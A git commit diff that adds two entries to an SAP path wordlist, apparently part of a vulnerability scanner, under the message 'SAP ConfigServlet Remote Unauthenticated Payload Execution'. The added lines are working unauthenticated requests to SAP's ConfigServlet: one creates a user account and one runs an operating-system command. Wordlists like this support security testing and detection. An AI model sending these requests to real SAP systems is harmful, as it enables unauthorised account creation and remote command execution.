Update sap.txt

adding SAP ConfigServlet Remote Unauthenticated Payload Execution
2014-12-14 18:37:07 +08:00
parent 726901c931
commit d1bdc1d65a
1 changed files with 2 additions and 0 deletions
--- a/vulns/sap.txt
+++ b/vulns/sap.txt
@@ -92,6 +92,8 @@ caf
 ccsui
 com~tc~lm~webadmin~httpprovider~web
 ctc
+ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla
+ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
 dispatcher
 dswsbobje
 dtr_lite